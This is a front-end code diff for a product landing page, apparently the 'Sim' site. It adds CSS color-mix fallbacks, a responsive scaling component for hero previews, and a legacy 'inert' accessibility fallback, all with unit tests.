- + ) } diff --git a/apps/sim/app/(landing)/components/hero/components/hero-visual/hero-visual.tsx b/apps/sim/app/(landing)/components/hero/components/hero-visual/hero-visual.tsx index e3f46d6790a..3e32f5e88a5 100644 --- a/apps/sim/app/(landing)/components/hero/components/hero-visual/hero-visual.tsx +++ b/apps/sim/app/(landing)/components/hero/components/hero-visual/hero-visual.tsx @@ -38,6 +38,7 @@ import { TYPE_MS_PER_ATOM, WORKFLOW_FOCUS_SCALE, } from '@/app/(landing)/components/hero/components/hero-visual/workflow-data' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' /** * Animated hero visual - the only client island in the hero, decorative and @@ -299,7 +300,7 @@ const SEND_BUTTON_INK = { */ const LANDING_LOADER_INK = { '--tl-grad-inner': 'var(--text-body)', - '--tl-grad-outer': 'color-mix(in srgb, var(--text-body) 76%, #fff)', + '--tl-grad-outer': 'var(--thinking-loader-outer)', '--tl-glow': 'transparent', } as CSSProperties @@ -1144,6 +1145,7 @@ export function HeroVisual() { // layer, so the slide + dock read as smooth sub-pixel motion instead of // jittering as the position pixel-snaps each frame. 'pointer-events-none absolute top-0 left-0 z-20 transform-gpu transition-opacity duration-300 will-change-transform [transition-timing-function:cubic-bezier(0.23,1,0.32,1)]', + colorMixFallbacks.loaderOuter, loaderFading ? 'opacity-0' : 'opacity-100' )} style={{ transformOrigin: '0 0' }} diff --git a/apps/sim/app/(landing)/components/hero/components/hero-visual/stage-kb.tsx b/apps/sim/app/(landing)/components/hero/components/hero-visual/stage-kb.tsx index 82c183cfb3c..b118375262f 100644 --- a/apps/sim/app/(landing)/components/hero/components/hero-visual/stage-kb.tsx +++ b/apps/sim/app/(landing)/components/hero/components/hero-visual/stage-kb.tsx @@ -46,9 +46,7 @@ export function KnowledgeBasePanel({ )} >
- - Create Knowledge Base - + Create Knowledge Base
diff --git a/apps/sim/app/(landing)/components/hero/components/hero-visual/workflow-block-content.tsx b/apps/sim/app/(landing)/components/hero/components/hero-visual/workflow-block-content.tsx index 3a637cc60f5..6036e50cab8 100644 --- a/apps/sim/app/(landing)/components/hero/components/hero-visual/workflow-block-content.tsx +++ b/apps/sim/app/(landing)/components/hero/components/hero-visual/workflow-block-content.tsx @@ -33,9 +33,7 @@ export function WorkflowBlockContent({ block }: WorkflowBlockContentProps) { )}
- - {block.name} - + {block.name}

{block.rows.length > 0 && ( diff --git a/apps/sim/app/(landing)/components/navbar/components/logo-mark/logo-mark.tsx b/apps/sim/app/(landing)/components/navbar/components/logo-mark/logo-mark.tsx index 1d26c75dd5c..e8cdc62896d 100644 --- a/apps/sim/app/(landing)/components/navbar/components/logo-mark/logo-mark.tsx +++ b/apps/sim/app/(landing)/components/navbar/components/logo-mark/logo-mark.tsx @@ -3,6 +3,7 @@ import { type CSSProperties, type ReactNode, useState } from 'react' import { cn } from '@sim/emcn' import { ThinkingLoader } from '@/components/ui' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' interface LogoMarkProps { /** Server-rendered Sim wordmark, shown by default. */ @@ -18,7 +19,7 @@ interface LogoMarkProps { */ const LOADER_INK = { '--tl-grad-inner': 'var(--text-body)', - '--tl-grad-outer': 'color-mix(in srgb, var(--text-body) 76%, #fff)', + '--tl-grad-outer': 'var(--thinking-loader-outer)', '--tl-glow': 'transparent', } as CSSProperties @@ -35,7 +36,7 @@ export function LogoMark({ children }: LogoMarkProps) { return ( - {filename} + {filename}
diff --git a/apps/sim/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css b/apps/sim/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css new file mode 100644 index 00000000000..1bddf9ccd49 --- /dev/null +++ b/apps/sim/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css @@ -0,0 +1,115 @@ +.navbarGlass { + background-color: var(--bg); +} + +.mobileBackdrop { + background-color: var(--text-primary); + opacity: 0.08; +} + +.mutedText60 { + color: var(--text-muted); +} + +.loaderOuter { + --thinking-loader-outer: var(--text-body); +} + +.inverseBorder45 { + border-color: var(--text-muted-inverse); +} + +.inverseBackground45 { + background-color: var(--text-muted-inverse); +} + +.mutedBackground35 { + background-color: var(--text-muted); +} + +.mutedBorder60 { + border-color: var(--text-muted); +} + +.inverseBorder22 { + border-color: var(--text-muted-inverse); +} + +.inverseBorder35 { + border-color: var(--text-muted-inverse); +} + +.inverseBorder70 { + border-color: var(--text-muted-inverse); +} + +.mutedStroke35 { + stroke: var(--text-muted); +} + +.inverseStroke28 { + stroke: var(--text-muted-inverse); +} + +.inverseStroke45 { + stroke: var(--text-muted-inverse); +} + +@supports (color: color-mix(in srgb, red, blue)) { + .navbarGlass { + background-color: color-mix(in srgb, var(--bg) 92%, transparent); + } + + .mobileBackdrop { + background-color: color-mix(in srgb, var(--text-primary) 8%, transparent); + opacity: 1; + } + + .mutedText60 { + color: color-mix(in srgb, var(--text-muted) 60%, transparent); + } + + .loaderOuter { + --thinking-loader-outer: color-mix(in srgb, var(--text-body) 76%, var(--white)); + } + + .inverseBorder45 { + border-color: color-mix(in srgb, var(--text-muted-inverse) 45%, transparent); + } + + .inverseBackground45 { + background-color: color-mix(in srgb, var(--text-muted-inverse) 45%, transparent); + } + + .mutedBackground35 { + background-color: color-mix(in srgb, var(--text-muted) 35%, transparent); + } + + .mutedBorder60 { + border-color: color-mix(in srgb, var(--text-muted) 60%, transparent); + } + + .inverseBorder22 { + border-color: color-mix(in srgb, var(--text-muted-inverse) 22%, transparent); + } + + .inverseBorder35 { + border-color: color-mix(in srgb, var(--text-muted-inverse) 35%, transparent); + } + + .inverseBorder70 { + border-color: color-mix(in srgb, var(--text-muted-inverse) 70%, transparent); + } + + .mutedStroke35 { + stroke: color-mix(in srgb, var(--text-muted) 35%, transparent); + } + + .inverseStroke28 { + stroke: color-mix(in srgb, var(--text-muted-inverse) 28%, transparent); + } + + .inverseStroke45 { + stroke: color-mix(in srgb, var(--text-muted-inverse) 45%, transparent); + } +} diff --git a/apps/sim/app/(landing)/components/shared/hero-loop-shell/hero-loop-shell.tsx b/apps/sim/app/(landing)/components/shared/hero-loop-shell/hero-loop-shell.tsx index 363ad3fef2a..5badb42cd2d 100644 --- a/apps/sim/app/(landing)/components/shared/hero-loop-shell/hero-loop-shell.tsx +++ b/apps/sim/app/(landing)/components/shared/hero-loop-shell/hero-loop-shell.tsx @@ -2,6 +2,7 @@ import type { ReactNode } from 'react' import { PLATFORM_LOOP_DESIGN } from '@/app/(landing)/components/shared/platform-loop-constants' +import { ResponsiveDesignStage } from '@/app/(landing)/components/shared/responsive-design-stage' import { EnterpriseSidebar, type EnterpriseSidebarProps, @@ -23,11 +24,11 @@ interface HeroLoopShellProps { } /** - * The platform heroes' shared scaled stage. An SVG viewBox maps the fixed - * 1280x735 design space to the rendered window without applying a CSS - * transform to the whole app. Keeping that scale out of the animated HTML - * subtree prevents fractional repaint snapping in both the canvas and the - * otherwise-static {@link EnterpriseSidebar}. + * The platform heroes' shared responsive stage. The whole preview remains + * ordinary HTML, fitted from its fixed 1280x735 design space by + * {@link ResponsiveDesignStage}; SVG is reserved for native workflow paths. + * This keeps the sidebar and every animated descendant in one browser-safe + * layout coordinate system across Safari, Chromium, and Firefox. */ export function HeroLoopShell({ workspaceName = 'Brightwave', @@ -38,24 +39,21 @@ export function HeroLoopShell({ children, }: HeroLoopShellProps) { return ( - + +
{children}
+ ) } diff --git a/apps/sim/app/(landing)/components/shared/responsive-design-stage/index.ts b/apps/sim/app/(landing)/components/shared/responsive-design-stage/index.ts new file mode 100644 index 00000000000..cd4757dfe1f --- /dev/null +++ b/apps/sim/app/(landing)/components/shared/responsive-design-stage/index.ts @@ -0,0 +1 @@ +export { ResponsiveDesignStage } from '@/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage' diff --git a/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.test.ts b/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.test.ts new file mode 100644 index 00000000000..a17aaf1e831 --- /dev/null +++ b/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.test.ts @@ -0,0 +1,145 @@ +/** + * @vitest-environment jsdom + */ +import { act, createElement } from 'react' +import { createRoot, type Root } from 'react-dom/client' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { + calculateFitScale, + ResponsiveDesignStage, +} from '@/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage' + +let resizeObserver: ResizeObserverMock | null = null + +class ResizeObserverMock implements ResizeObserver { + private readonly callback: ResizeObserverCallback + private target: Element | null = null + + constructor(callback: ResizeObserverCallback) { + this.callback = callback + resizeObserver = this + } + + observe(target: Element) { + this.target = target + } + + unobserve() { + this.target = null + } + + disconnect() { + this.target = null + } + + deliver(width: number, height: number) { + if (!this.target) throw new Error('ResizeObserver has no observed target') + this.callback( + [{ target: this.target, contentRect: { width, height } } as ResizeObserverEntry], + this + ) + } +} + +let container: HTMLDivElement +let root: Root + +beforeEach(() => { + resizeObserver = null + vi.stubGlobal('CSS', { supports: vi.fn(() => true) }) + vi.stubGlobal('ResizeObserver', ResizeObserverMock) + container = document.createElement('div') + document.body.appendChild(container) + root = createRoot(container) +}) + +afterEach(() => { + act(() => root.unmount()) + container.remove() + vi.unstubAllGlobals() +}) + +describe('calculateFitScale', () => { + it('fits the design surface to the limiting host dimension', () => { + expect( + calculateFitScale({ + availableWidth: 1080, + availableHeight: 620, + designWidth: 1280, + designHeight: 735, + inset: 0, + maxScale: 1, + }) + ).toBeCloseTo(620 / 735) + }) + + it('reserves the requested inset before calculating the scale', () => { + expect( + calculateFitScale({ + availableWidth: 500, + availableHeight: 700, + designWidth: 560, + designHeight: 700, + inset: 20, + maxScale: 1, + }) + ).toBeCloseTo(480 / 560) + }) + + it('does not upscale beyond the configured maximum', () => { + expect( + calculateFitScale({ + availableWidth: 1600, + availableHeight: 1000, + designWidth: 1280, + designHeight: 735, + inset: 0, + maxScale: 1, + }) + ).toBe(1) + }) + + it('does not apply a scale before the host has measurable space', () => { + expect( + calculateFitScale({ + availableWidth: 0, + availableHeight: 620, + designWidth: 1280, + designHeight: 735, + inset: 0, + maxScale: 1, + }) + ).toBe(0) + }) +}) + +describe('ResponsiveDesignStage', () => { + it('hides an already visible surface until a measurable size returns', () => { + act(() => { + root.render( + createElement( + ResponsiveDesignStage, + { width: 1000, height: 500 }, + createElement('span', null, 'Preview') + ) + ) + }) + + const surface = container.firstElementChild?.firstElementChild + if (!(surface instanceof HTMLElement) || !resizeObserver) { + throw new Error('responsive stage did not mount') + } + const observer = resizeObserver + + act(() => observer.deliver(500, 250)) + expect(surface.style.opacity).toBe('1') + expect(surface.style.zoom).toBe('0.5') + + act(() => observer.deliver(0, 250)) + expect(surface.style.opacity).toBe('0') + + act(() => observer.deliver(500, 250)) + expect(surface.style.opacity).toBe('1') + expect(surface.style.zoom).toBe('0.5') + }) +}) diff --git a/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.tsx b/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.tsx new file mode 100644 index 00000000000..15c152f9b00 --- /dev/null +++ b/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.tsx @@ -0,0 +1,143 @@ +'use client' + +import { type ReactNode, useLayoutEffect, useRef } from 'react' +import { cn } from '@sim/emcn' + +const SCALE_EPSILON = 0.0001 + +interface FitScaleOptions { + availableWidth: number + availableHeight: number + designWidth: number + designHeight: number + inset: number + maxScale: number +} + +export function calculateFitScale({ + availableWidth, + availableHeight, + designWidth, + designHeight, + inset, + maxScale, +}: FitScaleOptions): number { + if ( + availableWidth <= inset || + availableHeight <= inset || + designWidth <= 0 || + designHeight <= 0 || + maxScale <= 0 + ) { + return 0 + } + + return Math.min( + maxScale, + (availableWidth - inset) / designWidth, + (availableHeight - inset) / designHeight + ) +} + +interface ResponsiveDesignStageProps { + width: number + height: number + children: ReactNode + className?: string + contentClassName?: string + inset?: number + maxScale?: number + align?: 'start' | 'center' +} + +/** + * Fits a fixed-size HTML design surface into its host without putting HTML in + * SVG. `ResizeObserver` watches only the stable host box, and the scale is + * written directly to the design surface so resizes do not rerender its React + * subtree. CSS `zoom` keeps the surface in normal document layout and avoids + * the fractional compositing drift caused by scaling a layer full of animated + * descendants. The transform branch is a fallback for older browsers. + */ +export function ResponsiveDesignStage({ + width, + height, + children, + className, + contentClassName, + inset = 0, + maxScale = 1, + align = 'center', +}: ResponsiveDesignStageProps) { + const hostRef = useRef(null) + const surfaceRef = useRef(null) + + useLayoutEffect(() => { + const host = hostRef.current + const surface = surfaceRef.current + if (!host || !surface) return + + surface.style.width = `${width}px` + surface.style.height = `${height}px` + + const supportsZoom = CSS.supports('zoom', '1') + let appliedScale = -1 + + const applyScale = (availableWidth: number, availableHeight: number) => { + const scale = calculateFitScale({ + availableWidth, + availableHeight, + designWidth: width, + designHeight: height, + inset, + maxScale, + }) + if (scale === 0) { + surface.style.opacity = '0' + appliedScale = -1 + return + } + if (Math.abs(scale - appliedScale) < SCALE_EPSILON) return + + if (supportsZoom) { + surface.style.zoom = String(scale) + surface.style.transform = '' + } else { + surface.style.zoom = '1' + surface.style.transform = `scale(${scale})` + } + surface.style.opacity = '1' + appliedScale = scale + } + + applyScale(host.clientWidth, host.clientHeight) + + const observer = new ResizeObserver(([entry]) => { + applyScale(entry.contentRect.width, entry.contentRect.height) + }) + observer.observe(host) + + return () => observer.disconnect() + }, [height, inset, maxScale, width]) + + return ( +
+
+ {children} +
+
+ ) +} diff --git a/apps/sim/app/(landing)/components/solutions-page/components/solutions-card-row/components/solutions-card/solutions-card.tsx b/apps/sim/app/(landing)/components/solutions-page/components/solutions-card-row/components/solutions-card/solutions-card.tsx index 1d03f102f88..a74fe87d45a 100644 --- a/apps/sim/app/(landing)/components/solutions-page/components/solutions-card-row/components/solutions-card/solutions-card.tsx +++ b/apps/sim/app/(landing)/components/solutions-page/components/solutions-card-row/components/solutions-card/solutions-card.tsx @@ -86,10 +86,7 @@ export function SolutionsCard({ card, headingId, tabletSpan = false }: Solutions wide && 'sm:max-lg:w-[38%] sm:max-lg:shrink-0 sm:max-lg:self-center' )} > -

+

{card.title}

import('@/app/(landing)/demo/components/demo-scheduler') @@ -32,6 +33,14 @@ const DemoScheduler = dynamic(() => importScheduler().then((m) => m.DemoSchedule loading: () => null, }) +function useLegacyInertFallback(ref: RefObject, inert: boolean) { + useEffect(() => { + const node = ref.current + if (!inert || !node || 'inert' in HTMLElement.prototype) return + return applyLegacyInertFallback(node) + }, [inert, ref]) +} + interface DemoBookingProps { /** Layout/placement classes (grid cell). Never chrome. */ className?: string @@ -59,8 +68,13 @@ export function DemoBooking({ className }: DemoBookingProps) { const [lead, setLead] = useState(null) const [formHeight, setFormHeight] = useState() const formRef = useRef(null) + const formPanelRef = useRef(null) + const schedulerPanelRef = useRef(null) const showScheduler = lead !== null + useLegacyInertFallback(formPanelRef, showScheduler) + useLegacyInertFallback(schedulerPanelRef, !showScheduler) + useEffect(() => { const node = formRef.current if (!node) return @@ -87,6 +101,7 @@ export function DemoBooking({ className }: DemoBookingProps) { style={{ transform: showScheduler ? 'translateX(-100%)' : undefined }} >

void preloadScheduler()} @@ -95,7 +110,11 @@ export function DemoBooking({ className }: DemoBookingProps) {
-
+
{lead ? : null}
diff --git a/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.test.ts b/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.test.ts new file mode 100644 index 00000000000..b8026754b15 --- /dev/null +++ b/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.test.ts @@ -0,0 +1,53 @@ +/** + * @vitest-environment jsdom + */ +import { describe, expect, it } from 'vitest' +import { applyLegacyInertFallback } from '@/app/(landing)/demo/components/legacy-inert-fallback' + +describe('applyLegacyInertFallback', () => { + it('removes descendants from interaction and restores their exact prior state', () => { + const panel = document.createElement('div') + panel.setAttribute('aria-hidden', 'false') + panel.style.pointerEvents = 'auto' + panel.innerHTML = ` + + Demo + + ` + + const button = panel.querySelector('button') + const link = panel.querySelector('a') + const disabledInput = panel.querySelector('input') + const restore = applyLegacyInertFallback(panel) + + expect(panel.getAttribute('aria-hidden')).toBe('true') + expect(panel.style.pointerEvents).toBe('none') + expect(button?.getAttribute('tabindex')).toBe('-1') + expect(link?.getAttribute('tabindex')).toBe('-1') + expect(disabledInput?.getAttribute('tabindex')).toBeNull() + + restore() + + expect(panel.getAttribute('aria-hidden')).toBe('false') + expect(panel.style.pointerEvents).toBe('auto') + expect(button?.getAttribute('tabindex')).toBeNull() + expect(link?.getAttribute('tabindex')).toBe('2') + }) + + it('moves focus out of a panel before hiding it', () => { + const panel = document.createElement('div') + const button = document.createElement('button') + panel.append(button) + document.body.append(panel) + button.focus() + + expect(document.activeElement).toBe(button) + + const restore = applyLegacyInertFallback(panel) + + expect(document.activeElement).not.toBe(button) + + restore() + panel.remove() + }) +}) diff --git a/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.ts b/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.ts new file mode 100644 index 00000000000..850f315fd95 --- /dev/null +++ b/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.ts @@ -0,0 +1,46 @@ +const FOCUSABLE_SELECTOR = [ + 'a[href]', + 'area[href]', + 'button:not([disabled])', + 'input:not([disabled])', + 'select:not([disabled])', + 'textarea:not([disabled])', + 'iframe', + 'object', + 'embed', + '[contenteditable="true"]', + '[tabindex]', +].join(',') + +/** + * Mirrors the interaction-blocking parts of `inert` for Firefox 111, the only + * browser in Next's supported range without native support. Modern browsers + * never call this fallback. + */ +export function applyLegacyInertFallback(node: HTMLElement): () => void { + const previousAriaHidden = node.getAttribute('aria-hidden') + const previousPointerEvents = node.style.pointerEvents + const previousTabIndexes = new Map() + const activeElement = node.ownerDocument.activeElement + + if (activeElement instanceof HTMLElement && node.contains(activeElement)) activeElement.blur() + + node.setAttribute('aria-hidden', 'true') + node.style.pointerEvents = 'none' + + for (const element of node.querySelectorAll(FOCUSABLE_SELECTOR)) { + previousTabIndexes.set(element, element.getAttribute('tabindex')) + element.setAttribute('tabindex', '-1') + } + + return () => { + if (previousAriaHidden === null) node.removeAttribute('aria-hidden') + else node.setAttribute('aria-hidden', previousAriaHidden) + node.style.pointerEvents = previousPointerEvents + + for (const [element, tabIndex] of previousTabIndexes) { + if (tabIndex === null) element.removeAttribute('tabindex') + else element.setAttribute('tabindex', tabIndex) + } + } +} diff --git a/apps/sim/app/(landing)/enterprise/components/enterprise-platform-loop/enterprise-platform-loop.tsx b/apps/sim/app/(landing)/enterprise/components/enterprise-platform-loop/enterprise-platform-loop.tsx index 6ded478dc7e..8a0d99d1c51 100644 --- a/apps/sim/app/(landing)/enterprise/components/enterprise-platform-loop/enterprise-platform-loop.tsx +++ b/apps/sim/app/(landing)/enterprise/components/enterprise-platform-loop/enterprise-platform-loop.tsx @@ -27,8 +27,8 @@ interface EnterprisePlatformLoopProps { /** * The enterprise hero's platform loop - a sibling of the homepage - * `HeroPlatformLoop` that shares its architecture (fixed design-space layer - * scaled to the window via ResizeObserver + `transform: scale`, a parent-owned + * `HeroPlatformLoop` that shares its architecture (fixed HTML design surface + * fitted to the window via the shared responsive stage, a parent-owned * timeline clock driving presentational stages, reduced-motion showing a * static finished frame) but diverges in content: where the homepage overlays * a live chat over a baked screenshot, this variant renders the WHOLE interior diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/access-control-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/access-control-graphic.tsx index a24147065c1..5ceef83d53e 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/access-control-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/access-control-graphic.tsx @@ -1,5 +1,6 @@ import { ChipTag, cn } from '@sim/emcn' import Image from 'next/image' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import styles from '@/app/(landing)/enterprise/components/feature-graphics/access-control-graphic.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' @@ -123,13 +124,10 @@ export function AccessControlGraphic() { pathLength={1} className={cn( styles.edgeDraw, - edge.emphasized ? styles.edgeDrawEmphasized : EDGE_DRAW_CLASSES[index] + edge.emphasized ? styles.edgeDrawEmphasized : EDGE_DRAW_CLASSES[index], + !edge.emphasized && colorMixFallbacks.mutedStroke35 )} - stroke={ - edge.emphasized - ? 'var(--text-secondary)' - : 'color-mix(in srgb, var(--text-muted) 35%, transparent)' - } + stroke={edge.emphasized ? 'var(--text-secondary)' : undefined} strokeWidth='1' /> ))} @@ -155,9 +153,7 @@ export function AccessControlGraphic() { {team.name} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/audit-trail-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/audit-trail-graphic.tsx index a952b2e8818..76810c7432e 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/audit-trail-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/audit-trail-graphic.tsx @@ -69,7 +69,7 @@ const ROW_TONES = [ * window: a frameless, centered vignette (the access tile's composition, * which sits beside it in the row) where each record is a plain row — * gradient actor avatar, the action label in the row's regular sans face - * (`font-medium text-small`, the same treatment the standards tile gives + * (`text-small`, the same treatment the standards tile gives * its row titles), an "actor · resource" attribution line, and a * right-aligned timestamp. The newest record is the selected event: it * sits on a solid white card wearing the build tile's window chrome @@ -120,7 +120,7 @@ export function AuditTrailGraphic({ entries = ENTRIES }: AuditTrailGraphicProps >
- Audit log + Audit log Append-only @@ -159,7 +159,7 @@ export function AuditTrailGraphic({ entries = ENTRIES }: AuditTrailGraphicProps /> - + {entry.action} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/deploy-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/deploy-graphic.tsx index 69a26ab089a..9b6e8b9f30b 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/deploy-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/deploy-graphic.tsx @@ -2,6 +2,7 @@ import type { CSSProperties } from 'react' import { ChipTag, chipContentLabelClass, chipGeometryClass, cn } from '@sim/emcn' import { CircleCheck, Lock } from '@sim/emcn/icons' import { ThinkingLoader } from '@/components/ui' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import styles from '@/app/(landing)/enterprise/components/feature-graphics/deploy-graphic.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' @@ -96,11 +97,16 @@ export function DeployGraphic({ className='absolute inset-0 flex flex-col items-center pr-8 max-lg:pr-6' >
- {agentName} + {agentName} {versionTag}
- + @@ -116,11 +122,21 @@ export function DeployGraphic({ - + -
+
- + {statusLabel} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/feature-platform-panel.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/feature-platform-panel.tsx index 27bfb18c9d4..0274e46dc65 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/feature-platform-panel.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/feature-platform-panel.tsx @@ -33,7 +33,7 @@ export function FeaturePlatformPanel({ - {title} + {title}
{children}
diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/it-platform-teams-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/it-platform-teams-graphic.tsx index 3b0b7a89833..3d506df3331 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/it-platform-teams-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/it-platform-teams-graphic.tsx @@ -90,9 +90,7 @@ export function ItPlatformTeamsGraphic({ >
- - {title} - + {title} - + {cardTitle} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/lifecycle-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/lifecycle-graphic.tsx index 22eb8a347bb..861348fe373 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/lifecycle-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/lifecycle-graphic.tsx @@ -1,5 +1,6 @@ import { ChipTag, cn } from '@sim/emcn' import { Clock } from '@sim/emcn/icons' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' import styles from '@/app/(landing)/enterprise/components/feature-graphics/lifecycle-graphic.module.css' @@ -47,7 +48,7 @@ export function LifecycleGraphic() { - Versions + Versions
@@ -58,7 +59,7 @@ export function LifecycleGraphic() { - v3 + v3 Live @@ -69,7 +70,7 @@ export function LifecycleGraphic() {
- +
@@ -78,7 +79,7 @@ export function LifecycleGraphic() { - v2 + v2 Saved @@ -92,12 +93,17 @@ export function LifecycleGraphic() {
- +
- + {version.label} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/operations-teams-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/operations-teams-graphic.tsx index 977bc56e017..f8d895cd971 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/operations-teams-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/operations-teams-graphic.tsx @@ -1,6 +1,7 @@ import type { CSSProperties } from 'react' import { cn } from '@sim/emcn' import { ThinkingLoader } from '@/components/ui' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' import styles from '@/app/(landing)/enterprise/components/feature-graphics/operations-teams-graphic.module.css' @@ -118,14 +119,11 @@ const OUT_PATHS = { jira: 'M 140 155 C 140 184 224 178 224 206', } as const -/** Faint-ink stroke for the resting wires (the deploy tile's guide-line grey, quieter). */ -const QUIET_STROKE = 'color-mix(in srgb, var(--text-muted-inverse) 28%, transparent)' - /** Shared 1px outline ink for the tags, port dots, and router hub ring. */ -const OUTLINE_INK = 'border-[color:color-mix(in_srgb,var(--text-muted-inverse)_45%,transparent)]' +const OUTLINE_INK = colorMixFallbacks.inverseBorder45 /** Shared SVG props for a resting wire. */ -const WIRE_PROPS = { stroke: QUIET_STROKE, strokeWidth: '1' } as const +const WIRE_PROPS = { className: colorMixFallbacks.inverseStroke28, strokeWidth: '1' } as const /** Shared SVG props for a traveling white request-pulse overlay on a wire. */ const PULSE_PROPS = { @@ -143,7 +141,7 @@ function PortTag({ port }: { port: Port }) { > diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/rollback-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/rollback-graphic.tsx index 52276001e1b..581faac6b2b 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/rollback-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/rollback-graphic.tsx @@ -1,5 +1,6 @@ -import { Button, ChipTag } from '@sim/emcn' +import { Button, ChipTag, cn } from '@sim/emcn' import { Undo } from '@sim/emcn/icons' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' /** @@ -47,7 +48,7 @@ export function RollbackGraphic() { className='absolute top-5 right-0 bottom-0 left-0 rounded-tl-xl border-[var(--border-1)] border-t border-l' >
- + Version history @@ -61,7 +62,7 @@ export function RollbackGraphic() { - v4 + v4 Current @@ -71,7 +72,12 @@ export function RollbackGraphic() {
- +
@@ -82,7 +88,7 @@ export function RollbackGraphic() {
- v3 + v3 Stable @@ -103,13 +109,23 @@ export function RollbackGraphic() {
- +
- + v2 diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/run-monitoring-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/run-monitoring-graphic.tsx index ba6b491c4f3..069c9ccc318 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/run-monitoring-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/run-monitoring-graphic.tsx @@ -55,11 +55,7 @@ function fieldValue(field: LogField) { {field.value} ) } - return ( - - {field.value} - - ) + return {field.value} } /** @@ -125,9 +121,7 @@ export function RunMonitoringGraphic({ >
- - {title} - + {title}
- + {title} @@ -110,7 +110,7 @@ export function StagingGraphic({
{changeTag} - + {changeTitle} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/standards-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/standards-graphic.tsx index 627d2e2c7dd..af2d1b65ada 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/standards-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/standards-graphic.tsx @@ -1,5 +1,6 @@ import { ChipTag, cn } from '@sim/emcn' import { ShieldCheck } from '@sim/emcn/icons' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' import styles from '@/app/(landing)/enterprise/components/feature-graphics/standards-graphic.module.css' @@ -86,8 +87,18 @@ export function StandardsGraphic({